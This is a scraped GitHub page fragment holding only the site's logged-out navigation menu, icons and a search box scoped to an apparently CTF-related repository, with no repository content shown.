<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="118874597" data-scoped-search-url="/zj3t/ctf/search" data-owner-scoped-search-url="/users/zj3t/search" data-unscoped-search-url="/search" data-turbo="false" action="/zj3t/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="kbV6kv8j6S/HDsszkyafVj4FK59DqQYLoOtl8ah6nuG7CsgC8P6b+LP5UkhOhwgUXqOn/NlrrjnVppq8KomC8A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
